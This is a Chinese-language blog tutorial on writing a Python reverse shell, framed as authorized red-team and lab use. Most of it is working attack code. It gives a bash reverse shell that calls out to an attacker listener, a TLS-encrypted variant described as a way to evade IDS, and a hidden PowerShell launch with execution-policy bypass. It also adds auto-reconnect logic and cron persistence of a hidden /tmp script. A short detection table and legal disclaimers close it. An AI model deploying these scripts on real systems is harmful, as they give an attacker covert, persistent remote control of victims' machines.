在合法靶场中用 Python 打造可升级的反弹 Shell

1 反弹 Shell 概念与工作原理

  • 正向 Shell:攻方主动连接受害主机并获得交互式命令行。大多受防火墙阻拦。

  • 反向/反弹 Shell:受害主机(被控端)主动 拨出 ,连接到攻方监听的端口,绕过内网出口防火墙。

  • 通信流程

    1. 攻方监听 LHOST:LPORT
    2. 受害主机执行脚本,向该地址建 TCP/TLS 连接。
    3. 将标准输入/输出/错误重定向到 Socket,实现交互。

2 环境准备

角色系统工具
攻方Kali Linux / Parrot OSnc / rlwrap nc(可选)
受害任意装有 Python 3 的 Linux/Windows/macOSPython 代码

Tip:若目标仅内置 Python 2,可用 socket+os+pty 写兼容代码,思路完全一致。

3 最小可用 Python 反弹 Shell

#!/usr/bin/env python3
import socket, subprocess, os, sys

def reverse_shell(lhost, lport):
    s = socket.socket()
    try:
        s.connect((lhost, lport))
    except Exception as e:
        sys.exit(0)          # 连接失败静默退出

    for fd in (0, 1, 2):     # 重定向 stdin/stdout/stderr
        os.dup2(s.fileno(), fd)

    subprocess.call(["/bin/bash", "-i"])

if __name__ == "__main__":
    reverse_shell("10.10.14.23", 4444)

攻方端:

nc -lvnp 4444

4 代码剖析

  1. socket.socket() —— 默认 AF_INET + SOCK_STREAM 创建 TCP 套接字。
  2. connect() —— 主动向监听端发起三次握手。
  3. os.dup2() —— 将进程文件描述符 0/1/2 指向套接字,实现数据流重定向。
  4. subprocess.call(["/bin/bash","-i"]) —— 启动交互式 bash;若在 busybox 系统可替换为 /bin/sh

5 升级玩法

5.1 TLS 加密通道

避免明文流量被 IDS/IPS 抓包:

import socket, ssl, subprocess, os

def reverse_shell_tls(lhost, lport):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE          # 靶场演练可关闭校验
    raw_sock = socket.create_connection((lhost, lport))
    s = ctx.wrap_socket(raw_sock, server_hostname=lhost)

    for fd in (0,1,2):
        os.dup2(s.fileno(), fd)
    subprocess.call(["/bin/bash","-i"])

攻方端可用 OpenSSL:

openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433

5.2 跨平台兼容

Windows 缺少 /bin/bash,可改用 PowerShell:

import subprocess
subprocess.call(["powershell.exe","-NoP","-NonI","-W","Hidden","-Exec","Bypass"])

macOS 使用 /bin/zsh/bin/sh 即可。

5.3 自动重连与持久化

简易重连逻辑(带随机休眠):

import time, random
while True:
    try:
        reverse_shell("10.10.14.23", 4444)
    except:
        time.sleep(random.randint(5,15))

持久化示例(Linux cron):

(crontab -l 2>/dev/null; echo "@reboot python3 /tmp/.rs.py &") | crontab -

6 蓝队视角:检测与防御要点

层面措施
网络IDPS 规则:阻断向非常规端口的出站流量;检测 HTTP(s) 流量中的可疑 TLS 指纹与 SNI。
主机基线加固:关闭无用解释器,SELinux/AppArmor 限制 dup2;开启命令审计。
日志集中式日志与异常行为(子进程/反弹连接)告警。
IOC可疑计划任务、开机项、未知二进制的持久化痕迹。

7 结语

本文展示了如何在授权环境下用 Python 快速实现并扩展反弹 Shell。再次提醒:渗透测试务必遵循 PTES、ISO / IEC 27001 等合规流程,提前获取 书面 授权。
如果你想进一步集成 文件下载上传、端口转发、SOCKS 代理 或写成 C2 框架模块,欢迎在评论区交流。

Happy Hacking — with permission.

强烈提醒: 本文所有内容仅供 红队演练、CTF、正规渗透测试或信息安全教学 之用。 严禁 将文中技术用于任何未获授权的系统,否则可能触犯《刑法》第 285 条 “非法侵入计算机信息系统罪” 及相关法规。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello.Reader

请我喝杯咖啡吧😊

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值